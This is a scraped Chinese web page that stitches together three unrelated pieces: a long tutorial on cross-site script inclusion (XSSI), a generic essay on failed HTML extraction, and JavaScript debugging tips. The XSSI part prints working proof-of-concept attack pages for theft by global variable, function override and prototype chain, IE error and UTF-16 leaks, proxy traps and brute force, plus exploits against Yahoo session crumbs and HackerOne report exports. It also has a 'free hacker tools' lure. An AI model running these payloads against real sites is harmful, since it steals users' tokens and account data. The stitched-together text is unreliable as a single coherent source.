整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

XSS最强知识体系漏洞万字总结

XSS最强知识体系漏洞万字总结


.XSSI漏洞原理

同源策略

同源策略是Web应用程序安全模型中最基本也是最核心的策略。

现在所有支持JavaScript的浏览器都会使用这个策略。

所谓同源是指,域名,协议,端口相同。

同源策略规定,不同源的客户端脚本(javascript、ActionScript)在没明确授权的情况下,不能读写对方的资源。

此策略可防止一个页面上的恶意脚本通过该页面的Document Object Model访问另一网页上的敏感数据。

为了满足同源策略,浏览器对不同访问行为进行了限制,限制规则一般如下:

XSSI原理

XSSI漏洞全称为跨站脚本包含漏洞,攻击者通过使用<script>标签(所有带src或href属性的标签以及部分其他标签可以跨域)跨域包含特定文件/页面

可以窃取符合JavaScript格式的文件中的敏感信息。

攻击者会将可泄露用户信息的JavaScript文件包含进来。

这里获取的目标数据,即敏感信息,大致分为几类:

认证凭据

CSRF token

用户个人信息等

XSSI、XSS、CSRF的区别

XSS 攻击是指攻击者在网站上注入恶意的客户端代码,通过恶意脚本对客户端网页进行篡改,从而在用户浏览网页时,对用户浏览器进行控制或者获取用户隐私数据的一种攻击方式。

攻击者对客户端网页注入的恶意脚本一般包括 JavaScript,有时也会包含 HTML 和 Flash。

有很多种方式进行 XSS 攻击,但它们的共同点为:将一些隐私数据像 cookie、session 发送给攻击者,将受害者重定向到一个由攻击者控制的网站,在受害者的机器上进行一些恶意操作

CSRF(跨站请求伪造),指冒充用户发起请求(在用户不知情的情况下),完成一些违背用户意愿的请求(如恶意发帖,删帖,改密码,发邮件等)通常来说CSRF是由XSS实现的,所以CSRF时常也被称为XSRF[用XSS的方式实现伪造请求]。

XSS更偏向于代码实现(即写一段拥有跨站请求功能的JavaScript脚本注入到一条帖子里,然后有用户访问了这个帖子,这就算是中了XSS攻击了),CSRF更偏向于一个攻击结果,只要发起了冒牌请求那么就算是CSRF了

XSSI(跨站请求包含)是XSS的一种形式,即浏览器不会阻止网页加载图像和文字等资源,这些资源通常托管在其他域和服务器。

例如,如果abc银行有一个脚本用于读取用户的私人账户信息,攻击者可以在其自己的恶意网站包含这个脚本,当abc银行的客户访问攻击者的网站时,攻击者就可以从abc银行的服务器提取用户信息。

从表面上看,XSSI和CSRF看起来很相似,因为在这两种情况下,请求都是从恶意页面发送到另一个域的,并且在两种情况下,请求都是在登录用户的上下文中执行的。

关键区别在于目标。

在CSRF中,攻击者希望在受害者页面内执行恶意操作,例如在网上银行应用程序中进行转帐。

在XSSI中,攻击者想要跨域泄露数据,以便再执行攻击。

与jsonp劫持的关系

jsonp劫持等利用js对插入函数进行插入恶意代码,将敏感数据发送到攻击者的服务器,实际上就是对存在jsonpjack持守入侵的网页进行发起一次请求,让其受害者客户端执行插入的恶意代码

而xssi主要获取服务器为每个客户端生成的动态js文件中的敏感数据,达到信息定向的目的,这种信息可能包括用户的登录凭证,严重可导致任意用户账号接管。

二.XSSI漏洞利用以及POC

XSSI通常区分为三种情况。

但是利用方式是相似甚至是相同的(就像反射与存储的XSS)。我们可以将三种情况区分如下:

静态JavaScript(常规XSSI)

直接访问该js即可获取敏感信息,但一般都是攻击认证后包含敏感信息的js

假设敏感内容设定在一个全局变量中,如下面的现实例子:

var privateKey="-----BEGIN RSA PRIVATE KEY-----

....

-----END RSA PRIVATE KEY-----",

    keys=[

{ name:'Key No 1', apiKey:'0c8aab23-2ab5-46c5-a0f2-e52ecf7d6ea8', privateKey: privateKey },

{ name:'Key No 2', apiKey:'1e4b8312-f767-43eb-a16b-d44d3e471198', privateKey: privateKey }

];

利用POC:

<html>

<head>

<title>Regular XSSI</title>

<scriptsrc="https://www.vulnerable-domain.tld/script.js"></script>

</head>

<body>

<script>

      alert(JSON.stringify(keys[0]));

</script>

</body>

</html>

动态JavaScript

1.敏感信息存储在全局变量

http://vuln.com/dynamic.js

var token='secret';

利用POC

http://attacker.com/xssi.html

<!DOCTYPE html>

<html>

<head>

<title>xssi</title>

</head>

<body>

<scriptsrc="http://vuln.com/dynamic.js"></script>

<script>alert(token);</script>

</body>

</html>

2.敏感信息被外部函数处理,可以重写函数

http://vuln.com/dynamic1.js

(function(){

var token='secret';

    doSomeThing(token);

})();

利用POC:

http://attacker.com/xssi1.html

<!DOCTYPE html>

<html>

<head>

<title>xssi1</title>

</head>

<body>

<script>function doSomeThing(data){alert(data);}</script>

<scriptsrc="http://vuln.com/dynamic1.js"></script>

</body>

</html>

3.利用原型链窃取敏感信息

对于非常规情况,可以考虑利用原型链获取数据

http://vuln.com/dynamic2.js

(function(){

var token='secret';

var data=token.trim();

})();

利用POC:

http://attacker.com/xssi2.html

<!DOCTYPE html>

<html>

<head>

<title>xssi2</title>

</head>

<body>

<script>String.prototype.trim=function(){alert(this);}</script>

<scriptsrc="http://vuln.com/dynamic2.js"></script>

</body>

</html>

非JavaScript

1.IE bug导致错误信息泄漏 (ie 9 和 ie 10)

为了防止js错误信息跨域泄漏,对于外部加载的js文件,现在主流的浏览器只有固定的错误信息,比如“script error”,当是在ie9与ie10,情况不一定如此。

一般来说,在外部js发生语法错误的情况下,浏览器只会提供固定的错误信息,

但是当在runtime发生错误的情况下,浏览器会提供详细的错误信息。

比如”foo 未定义”之类的,某些浏览器一旦允许外域js回复详细的错误信息,就会导致信息泄漏。

就是说,当某个网页的内容能被js识别为javascript格式的话,那么就可能通过错误信息获取到目标的内容。

比如,目标网页

HTTP/1.1200 OK

Content-Type: text/csv

Content-Disposition: attachment; filename="a.csv"

Content-Length:13

1,abc,def,ghi

攻击者设置错误显示

#!html

<SCRIPT>window.onerror=function(err){alert(err)}</SCRIPT>

<!-- load target CSV -->

<SCRIPT src="(target data's URL)"></SCRIPT>

一旦加载成功,网页则会显示 “‘abc’ is undefined”

会出现这种情况是因为浏览器将目标识别为javascript,那么abc就会被识别为某个未定义的变量。

当为这种情况的时候,浏览器就允许页面捕捉来自不同网页的错误信息。

做一个总结就是,有被利用的可能性的数据都是可以被识别,或者通过某种方式识别为有效js的数据。

不过,稍微需要注意的一点,出现该漏洞的只有ie 9 和 ie 10。

2.通过UTF-16编码获取其它类型的数据 (ie版本小于10)

大家可以看到,上面的东西只在csv这种操蛋的玩意上有用,

所以我们做了更多的研究看看能否获取不同格式的数据,

之后我们发现通过UTF-16编码可以达到我们的目标。

其实本身是一个很简单的技巧 比如页面a ,我们加入 charset=”UTF-16BE”

#!html

<!--set an error handler -->

<SCRIPT>window.onerror=function(err){alert(err)}</SCRIPT>

<!-- load target JSON -->

<SCRIPT src="(target data's URL)" charset="UTF-16BE"></SCRIPT>

然后json数据长这个逼样

HTTP/1.1200 OK

Content-Type: application/json

Content-Disposition: attachment; filename="a.json"

Content-Length:39

{"aaa":"000","bbb":"111","ccc":"222"}

当响应缺少字符集规范的时候,会被charset属性强制转码为固定的编码,我们用这个技巧撸掉了许多有名的浏览器,包括ie 9。

测试这段代码之后,我们给自己弹了个窗。

我们可以看到一串乱码,因为,当浏览器获取目标网页的数据,之间经过了一次编码,然后到我们的页面上经过charset制定的字符集进行了一次解码。

我们能很简单的得出一个结论就是我们能通过对乱码的再次编码来获得原有的信息

不过需要注意的就是只有当编码后的信息能够被浏览器识别为有效的js标示符的时候攻击才有可能成功,这是一个重要的条件,

对于不同的平台的编码是有所不同的,在ie上可以被识别为有效js标示符的字符是多于其他平台的,至于其他来说ie的 ECMAScript规范 跟其他浏览器总体没什么不同。

打个比方对于ie来说 ‘3q’ (U+3371, ?) 在 unicode编码中会被认为是 属于 “Symbol, Other [So]”,就是符号的一种。

总的来说这种形式的认定不应该发生在任何浏览器中,不过ie可能比较2b一些。

我们花了很多时间研究了什么样的组合,能够被浏览器认定为有效的js标示符,当字符编码为UTF-16的时候的数字字母组合,ie 9将其99.3%认为是有效的js标示符,高于chrome和firefox。

具体结果见下图

需要注意的一件事就是在ie 10 或者更高的版本,可能攻击无法奏效,因为ie 10 拒绝将没有空字节活着bom的编码为utf16。

3.chrome/firefox 中 Harmony proxy bug利用

Harmony是一个ECMAScript 6中的新功能 ,类似于java的反射类,其中定义了对于对象属性的查找,分配,函数调用

在我们针对这些新特性的研究过程中发现该功能可以用于xssi的攻击中

#!html

<!--set proxy handler to window.__proto__ -->

<SCRIPT>

var handler={

 has:function(target, name){alert("data="+ name);returntrue},

get:function(target, name){return1}

};

window.__proto__=newProxy({}, handler);

</SCRIPT>

<!-- load target CSV -->

<SCRIPT src="(target data's URL)"></SCRIPT>

注意其中的window.proto 定义了一个代理对象,当访问一个未定义的全局变量,就会出发handler进行处理。

然后csv文件长这样:

HTTP/1.1200 OK

Content-Type: text/csv

Content-Disposition: attachment; filename="a.csv"

Content-Length:13

1,abc,def,ghi

当访问攻击页面的时候如果攻击成功那么久会收到 “data=abc”, “data=def”, “data=ghi”的弹窗,我们在firefox和chrome都得到了验证。

4.穷举

假设一个攻击页面通过js 加载了下面的csv文件。

HTTP/1.1200 OK

Content-Type: text/csv

Content-Disposition: attachment; filename="a.csv"

Content-Length:8

1,xyz123

一旦加载我们就会得到一个 xyz123未定义的错误

换句话说,如果我们在加载外部文件之前定义了这个标示符,那么我们就不会受到这个错误,同时我们也可以判断xyz123是存在于外部文件中的。

也就是说我们需要一个合适的检测错误是否发生的方式。

一般情况下浏览器是不提供详细的外部错误信息,不过仍然会返回一个通用的错误标示。

所以说穷举信息还是是存在可能性的。

总的来说我们发现三种穷举的方式

第一种是二元搜索。

比如你知道目标会是 “xyz121”, “xyz122”, “xyz123” 和 “xyz124″中的其中一个,可以先定义前两个变量然后看有无错误爆出,然后定义后两个,然后再缩小目标。

第二种是使用 js 的getter,像下面酱紫

#!html

<!--set getters -->

<SCRIPT>

Object.defineProperty(window,"xyz121",{get:function(){alert("value=xyz121")}});

Object.defineProperty(window,"xyz122",{get:function(){alert("value=xyz122")}});

Object.defineProperty(window,"xyz123",{get:function(){alert("value=xyz123")}});

Object.defineProperty(window,"xyz124",{get:function(){alert("value=xyz124")}});

</SCRIPT>

<!-- load target CSV -->

<SCRIPT src="(target data's URL)"></SCRIPT>

就是目标值访问 window.**|||||| 会触发上面的规则。

第三种是使用vbscript来获取json数组

这个思路来自Hasegawa做的研究,组合vbscript和json进行攻击(4]

目标页面长这个样子

HTTP/1.1200 OK

Content-Type: application/json

Content-Disposition: attachment; filename="a.json"

Content-Length:12

[1,"xyz123"]

然后再我们的攻击界面中调用vbscript

#!html

<SCRIPT language="vbscript">

Sub[1,"xyz121"]:MsgBox"value=xyz121":EndSub

Sub[1,"xyz122"]:MsgBox"value=xyz122":EndSub

Sub[1,"xyz123"]:MsgBox"value=xyz123":EndSub

Sub[1,"xyz124"]:MsgBox"value=xyz124":EndSub

</SCRIPT>

<!-- load target JSON asVBScript-->

<SCRIPT src="(target data's URL)" language="vbscript"></SCRIPT>

跟上面的攻击相似,都是通过穷举来获取目标值。不过vbscript只试用于ie

5.csv获取

上面获取csv的信息只在目标的字符串没被引号扩起来的情况下,不过同样是一些小技巧能够使我们绕过这一限制。

让我们假设一个csv长这个b样。

1,"___","[email protected]","03-0000-0001"
2,"foo","[email protected]","03-0000-0002"
...
98,"bar","[email protected]","03-0000-0088"
99,"___","[email protected]","03-0000-0099"

假设攻击者能够插入自己的字符串,那么只需要根据RFC相关CSV (RFC 4180 (12])中的规定来添加一个双引号就可以bypass这个限制。

for example

1,"\"",$$$=function(){/*","[email protected]","03-0000-0001"

2,"foo","[email protected]","03-0000-0002"

...
98,"bar","[email protected]","03-0000-0088"

99,"*/}//","[email protected]","03-0000-0099"

一个比较蛋疼的问题就是如何获取多行的信息,因为多行在js中是违法的

上面的例子里,我们使用 .toString() 获取函数远吗来达到攻击目标数据的目的。

这种攻击方式试用于所有的浏览器。

一种获取多行内容的方式可以在chrome和firefox中奏效,就是ECMAScript6模版字符串中通过反引号来获取多行内容。

三.XSSI漏洞实例

雅虎XSSI漏洞实现用户信息窃取

在雅虎(Yahoo)漏洞众测项目中,通过BurpSuite来进行抓包分析,发现下图的请求:

测试发现是JSONP服务端,在雅虎网站API中,.crumb 值其实就是一个随机字符串

它与用户的session和身份验证值相关,并且如果在该请求中,GET参数 .crumb 值无效的话,其响应如下:

如果能以某种方式去窃取到受害者的有效.crumb 值的话,那么就能窃取到对方的具体账号信息值了。

因此,在BurpSuite的抓包中来查找所有包含有效 .crumb 值的请求,最终,发现了在某个动态的Javascript文件存在这样的信息

该Javascript文件位于

https://messenger.yahoo.com/embed/app.js。

源代码如下:

这个XSSi 漏洞原理其实是这样的,它允许攻击者绕过原始边界窃取特定类型数据,

利用了script标记的src属性来突破同源策略( SOP),也即在script标记中,浏览器不会阻止网页加载图像和文字等第三方资源。

因此,为了窃取

https://messenger.yahoo.com/embed/app.js

中的有效回调 .crumb 值,然后把它放置在链接

https://jsapi.login.yahoo.com/w/device_users?.crumb=POR1.kRjsx

中进行请求,以获取到相关用户的session信息,POC代码如下:

<html>

<head>

<title>Yahoo XSSi PoC</title>

</head>

<body>

<divstyle="width:60%; margin-right:auto; margin-left:auto; margin-bottom:30px;">

<h1style="text-align: center;">Proof of Concept</h1>

<b>Dataset 1:</b>

<divid="content1"style="width:100%; border:1px solid black; padding:10px; overflow: scroll; font-family: monospace;"></div>

<br/>

<b>Dataset 2:</b>

<divid="content2"style="width:100%; border:1px solid black; padding:10px; overflow: scroll; font-family: monospace;"></div>

</div>

<script>

function processDeviceUsers(data){

                document.getElementById("content1").innerHTML=JSON.stringify(data);

}

            window.onload=function(){

var config={};

                config_data={};

                config.merge=function(data){ config_data=data };

                iris.initConfig(config);

                document.getElementById("content2").innerHTML=JSON.stringify(config_data);

var src="https://jsapi.login.yahoo.com/w/device_users?.crumb="+ config_data.session.logoutCrumb;

var s=document.createElement('script');

                s.setAttribute('src', src);

                document.body.appendChild(s);

}

</script>

<scriptsrc="https://messenger.yahoo.com/embed/app.js"></script>

<scriptsrc="https://code.jquery.com/jquery-3.3.1.min.js"></script>

</body>

</html>

效果:

hackerone漏洞:如何利用XSSI窃取多行字符串

由于浏览器不会阻止一个域名中的页面直接引用其他域名的资源

所以我们可以在script标签中引入第三方域名的资源,然后观察其运行情况

但我们现在还无法读取到来自第三方域名script标签中的内容。

需要注意的是,包含script标签的不一定必须是JS文件,文件开头也无需标注text/javascript,而且文件的扩展名也并非一定要是“.js”。

hackerone存在漏洞的地址是:

https://hackerone.com/reports/12345/export/raw?include_internal_activities=true

这是“导出”功能的一个部分,它允许我们查看或下载原始报告内容。

点击之后,浏览器便会发送上图所示的GET请求。

这是一个XHR请求,并带有一个反CSRF令牌。

我们可以在浏览器中看到GET请求所对应的完整响应信息:

为了跨域泄漏报告(Report)的内容,所有的语句必须是有效的JavaScript语句。

以下是报告demo:

第一行是一条标记语句(“Title”后面跟着的是用户提供的标题),标记语句是一种有效的JavaScript语句,后面可以跟自己的输入参数。

为了获取到多行字符串数据,这里还要用到反引号( )。

接下来,在结尾的反引号中添加一条注释来作为字符串结束的标志。

现在,可以script标签中嵌入上面给出的URL地址,然后就远程提取出所需要的数据了

POC如下:

<!DOCTYPE html>

<html>

<head>

<metacharset='utf-8'/>

<script>

//Tagged template literals

function demo( strings){

            alert(strings);

}

</script>

</head>

<body>

<scripttype='text/ecmascript'src='https://hackerone.com/reports/207802/export/raw?include internal_activities=false '></script>

</body>

</html>

目前只知道两种控制JavaScript多行字符串的方法(串联和反引号转义)

ECMAScript 6也引入了一种箭头函数(Arrow_Functions),它允许开发人员使用简短的字符来定义函数。

下面是一个简单的例子:

除此之外,模版字符串(Template Literals)则是一种更简单的多行字符串处理方式。

四.XSSI漏洞防御

  • X-Content-Type-Options设置为nosniff
  • 不要将敏感数据(session,token等)放在javascript文件中, 也不要放在jsonp中
  • 禁止get
  • 加token
  • 自定义xhr/http请求


  • ①2000多本网安必看电子书(主流和经典的书籍应该都有了)
  • ②PHP标准库资料(最全中文版)
  • ③项目源码(四五十个有趣且经典的练手项目及源码)
  • ④ 网络安全基础入门、Linux运维,web安全、渗透测试方面的视频(适合小白学习)
  • ⑤ 网络安全系统学习路线图(告别不入流的学习)
  • ⑥ 黑客工具大全
  • ⑦ 2021网络安全/Web安全/渗透测试工程师大厂面经

需要这些资料&工具的朋友们可以关注+转发一波 私信【资料】即可免费获取!

对“提取头条HTML内容失败”这一问题,分析其可能的根本原因和应对策略对于确保信息的有效传播至关重要。这一情况通常涉及技术性挑战或信息源的限制,以下是对这些问题的深入探讨及应对措施。

技术性问题

首先,技术性问题是导致信息提取失败的常见原因之一。例如,网络连接不稳定或服务器故障可能会影响数据的正常获取。当遇到这种情况时,建议检查网络连接,确保稳定性。此外,刷新页面或使用不同的浏览器也可能解决一些临时的技术问题。如果问题依旧,可以考虑使用其他数据提取工具或联系技术支持寻求帮助。

网站限制

网站设置防抓取机制也是一个重要原因。有些网站为了保护自身内容或避免数据被过度采集,可能会限制自动提取数据的操作。这种情况下,可以尝试访问网站的官方API(如果提供的话),或直接联系网站的管理团队获取所需的数据。如果可能,寻求正式的数据授权或合作也是一种可行的解决方案。

格式不兼容

HTML格式的变化也可能导致提取工具无法正常工作。不同网站可能使用不同的HTML结构,更新或修改这些结构可能导致原有提取方法失效。解决这一问题的办法是根据最新的HTML结构调整提取方法,或者使用更为灵活的数据解析工具。这些工具能够适应不同的网站格式,提高提取的成功率。

信息更新

网站内容的更新可能会导致数据提取失败。例如,页面布局的更改或内容的移动都可能使提取工具无法定位到原有的信息。对此,定期检查并更新提取脚本,以适应网站的变化,是一种有效的解决策略。同时,也可以利用网站的RSS源或其他数据更新机制,确保获取最新的信息。

数据准确性

在处理信息提取失败时,确保信息的准确性和可靠性是关键。如果提取失败导致信息不全或不准确,可以通过交叉验证其他可靠来源的信息来补充和修正。多方验证数据来源,不仅能提高信息的可信度,还能避免因为技术问题导致的误导。

应对措施

面对提取头条HTML内容失败的问题,制定一套系统的应对措施非常重要。首先,建立一套备份方案,确保在主渠道出现问题时,能够迅速转向备用数据源。其次,保持技术手段的灵活性,定期更新和维护数据提取工具,以应对不同格式和技术问题。最后,维护与信息提供方的良好关系,及时获取信息更新和变更通知,是确保信息流畅传播的有效途径。

通过这些策略,可以有效解决信息提取失败的问题,保证信息的准确传递。这不仅有助于提高新闻报道的质量,也能确保读者获取到最为准确和及时的信息。

试和故障排除是软件开发人员和工程师的重要技能。这些技能涉及识别和解决软件应用程序中的问题、漏洞和错误。有效的调试不仅能解决直接问题,还能提高代码质量并改进开发过程。在本文中,我们将探讨 JavaScript 有效调试和故障排除的 10 个宝贵技巧和方法,并提供实际的示例。

无论您是经验丰富的开发人员,还是刚刚开始 Coding 之旅,这些技巧都将帮助您像专家一样进行调试。通过实施这些技巧,您将获得解决 JavaScript 问题的信心和效率:

  • 理解问题
  • 分而治之
  • 利用浏览器开发工具
  • 使用调试技巧
  • 使用断言和单元测试
  • 查看错误信息和堆栈跟踪
  • 记录和分析数据
  • 参考文档和在线资源
  • 进行代码隔离实验
  • 寻求新方向

1.理解问题

在深入研究代码之前,清楚地了解当前的问题至关重要。与相关方进行交流,收集关于问题的详细信息,并在可能的情况下重现问题。这一步骤为成功的故障排除奠定基础。

示例:

假设您正在开发一个 Web 应用程序,用户报告称单击按钮没有反应,不能正常提交记录。通过重现问题并分析用户的操作,您可以将问题缩小到特定的函数调用上。

const submitButton=document.getElementById('submit')
submitButton.addEventListener('click', ()=> {
  // Perform the desired action
});

2.分而治之

分治法将您的代码分解为较小的部分,并独立测试每个组件。这种方法有助于隔离有问题的区域,并缩小寻找错误的范围。使用console.log 语句或现代调试(debugger)工具检查中间结果,并确定问题出现在哪里。

示例:

将代码分解成更小的部分,并独立测试每个组件。这种方法有助于隔离有问题的区域,缩小查找错误的范围。使用 console.log 语句或现代调试工具检查中间结果,找出问题所在。

示例

假设您有一个复杂的算法,用于对一个数组进行排序,但结果不正确。通过将排序逻辑拆分为较小的函数并记录中间步骤,您可以确定引入错误的算法部分。

function sortArray(array) {
  // Divide and conquer by splitting the sorting logic.
  const sortedLeft=mergeSort(array.slice(0, array.length / 2));
  const sortedRight=mergeSort(array.slice(array.length / 2));

  // Merge the sorted parts.
  return merge(sortedLeft, sortedRight);
}

function mergeSort(array) {
  // Perform the sorting algorithm.
  console.log(‘Sorting array:’, array);

  // …
}

function merge(left, right) {
  // Merge the sorted arrays.
  console.log('Merging:', left, right);

  // ...
}

3.利用浏览器开发工具

现代 Web 浏览器提供了功能强大的开发工具,这些工具包含了很多有价值的功能。这些工具包括 JavaScript 控制台、网络分析器、DOM检查器、性能分析器等等。利用这些工具可以检查变量、跟踪函数调用、分析网络请求和诊断性能瓶颈。

示例:

假设你遇到了一个 AJAX 请求不返回预期数据的问题。使用浏览器开发工具中的网络分析器,你可以检查请求和响应的细节、头部和载荷,以识别异常。

// Create a new XMLHttpRequest object. 
var xhr=new XMLHttpRequest(); 

// Open a GET request to the API endpoint. 
xhr.open('GET', 'https://api.example.com/data', false);

// Send the request. 
xhr.send(); 

// Check the response status. 
if (xhr.status===200) { 
  console.log('Received data:', xhr.responseText); 
  // Process the received data. 
} else { 
  console.error('Error fetching data:', xhr.status); 
}

4.使用调试技巧

JavaScript 提供了几种调试技巧来帮助你。在代码中设置断点,可以在特定的位置暂停执行并检查变量的值。逐行调试代码,以了解代码的流程并找出错误发生的地方。现代集成开发环境(IDE)通常具有内置的调试功能,简化了这个过程。

此外,你可以在代码中使用 debugger 语句(小懒在开发中经常使用哦)。执行这个语句时,会触发浏览器的调试工具,允许你检查变量、逐行调试代码并定位问题。

下面的代码显示了如何添加一个 debugger 语句来在调用函数时调试。

function troubleshootCode() {
  ...
  ...
  // 进行潜在错误的调试、逐行调试等操作。
  debugger;
  ...
  ...
}

示例:

假设你在一个循环中遇到了意外的行为。通过在循环内设置一个断点,你可以检查迭代变量并分析循环的行为,帮助你找出问题的原因。

for (let i=0; i < array.length; i++) {
  // 在下面的行上设置断点以检查迭代变量。
  console.log('迭代:', i, '值:', array[i]);

  // 其他代码。
}

通过在 console.log 语句上设置断点,可以暂停循环的执行并检查当前迭代的索引(i)和相应的值 array[i]。这样可以分析循环的行为并识别出意外的值或逻辑。

调试的另一个有用工具是 console.trace() 方法。它将堆栈跟踪输出到控制台,显示导致当前代码点的函数调用序列。

堆栈跟踪错误示例:

假设你有以下代码片段遇到了错误。

function divide(a, b) {
  if (b===0) {
    throw new Error('除以零错误');
  }
  return a / b;
}

function calculateRatio(x, y) {
  const ratio=divide(x, y);
  return ratio;
}

function performCalculation() {
  try {
    const result=calculateRatio(10, 0);
    console.log('结果:', result);
  } catch (error) {
    console.error('发生错误:', error.message);
    console.trace();
  }
}

performCalculation();

在这个示例中,当调用 calculateRatio(10, 0) 时,遇到了除以零的错误,抛出一个带有消息“除以零错误”的错误对象。然后使用 console.trace() 方法将堆栈跟踪输出到控制台。

当你运行这段代码时,你会在控制台中看到以下堆栈跟踪。

An error occurred: Division by zero
    at divide (script.js:3:11)
    at calculateRatio (script.js:8:19)
    at performCalculation (script.js:14:17)
    at script.js:18:1

堆栈跟踪显示错误发生在 divide() 函数的第3行,该函数被calculateRatio()函数于第8行调用,而 calculateRatio() 函数又被 performCalculation() 函数于第14行调用。最终,在第18行触发了该错误。

通过检查堆栈跟踪,您可以追踪函数调用的流程并确定错误源自哪些具体行。

5.使用断言和单元测试

添加断言并编写单元测试可以帮助检测错误并监视代码的正确性。断言在特定点验证某些条件是否成立,帮助您及早捕获问题。单元测试确保您的函数和组件对不同输入产生预期的输出。

示例:

假设在一个计算数组的求和函数中遇到了一个bug。编写一个单元测试来验证不同输入数组的预期结果,可以快速确定bug是否出现在计算逻辑中。

function sumArray(array) {
  let sum=0;
  for (let i=0; i < array.length; i++) {
    sum +=array[i];
  }
  return sum;
}

// 断言检查[1, 2, 3]的和是否为6
console.assert(sumArray([1, 2, 3])===6, '求和结果不正确');

// 更多测试用例...

好消息: 现在Node.js 已经原生支持测试运行器,可以不用依赖 Mocha、Jest 等单元测试框架来书写测试用例了,详细参考【xxx】

使用断言和编写全面的单元测试,您可以快速捕获潜在的问题并确保您的函数产生预期的结果。这种方法有助于在代码演进的同时保持代码的正确性。

6.查看错误消息和堆栈跟踪

当遇到 “undefined is not a function” 错误时,堆栈跟踪会显示函数调用的顺序。通过检查这些函数中相关的行号和变量,可以确定问题的源头。

示例:

function calculateTotal(price, quantity) {
  return price * quantity;
}

function displayTotal() {
  const price=getProductPrice(); // 假设这个函数导致了错误。
  const quantity=getQuantity();

  const total=calculateTotal(price, quantity);
  console.log('总数:', total);
}

displayTotal();

在这个示例中,如果 getProductPrice() 函数是undefined,错误消息和堆栈跟踪将帮助你识别问题的源头。

7.记录和分析数据

在处理复杂的数据转换时,记录中间数据结构可以揭示不一致性或意外更改,从而更接近问题的根本原因。

示例:

function processData(data) {
  console.log('输入数据:', data);

  // 执行数据转换。
  console.log('转换后的数据:', transformedData);

  // 执行更多操作。
  console.log('最终的结果数据:', finalResultantData);
}

const data=fetchData(); // 假设这个函数获取数据。
processData(data);

可以通过分析记录的值来了解数据的转换方式,以及通过记录输入、转换后和最终结果数据来识别问题是否产生了变化。

8.查阅文档和在线资源

在进行故障排除时,可以查阅文档、论坛和在线资源以获取洞察和解决方案。像 Stack Overflow、MDN Web Docs、官方文档等,可以为常见的JavaScript问题提供有价值的信息。

例如,假设你遇到了与特定 JavaScript 方法有关的错误。在这种情况下,查阅官方文档可以提供解释、使用示例和可能的解决方案。

9.使用代码隔离进行实验

创建一个最小化、隔离的代码版本来重现问题有助于简化故障排除过程并理解根本原因。

例如,如果在一个 React 组件中遇到了一个bug,可以创建一个独立的沙箱项目或CodePen,只包含必要的代码。这种隔离可以帮助确定问题是来自组件还是更复杂的应用中的其他因素。

10.寻求新的方向

当你已经尽尽全力进行故障排除时,寻求新的方向可能是有价值的。与其他开发人员交流,参加代码审查会议,或者与团队合作以获得洞见和潜在解决方案。

例如,向同事展示你的代码,或者加入一个开发者社区,你可以讨论问题并寻求建议。其他开发人员可能会提供不同的视角或方法,帮助你发现问题。

11.最后

掌握良好的开发调试技巧可以显著提升软件开发人员故障排查、日常研发的效率。通过以上这些技巧和建议,你可以不断优化故障排除方法,增强代码检测和错误修复能力,让自己快速成为一个技术娴熟的 JavaScript 开发人员。

最后,小懒建议开发者做好 Case Study,将日常遇到的问题的原因、排查步骤、修复方案记录下来,作为团队或者个人的重要知识库维护起来,方便团队每个人可以从历史的经验教训中获益,从而更好地迎接未来的挑战。


如果本文对您有帮助,欢迎关注、点赞和转发,感谢您的支持!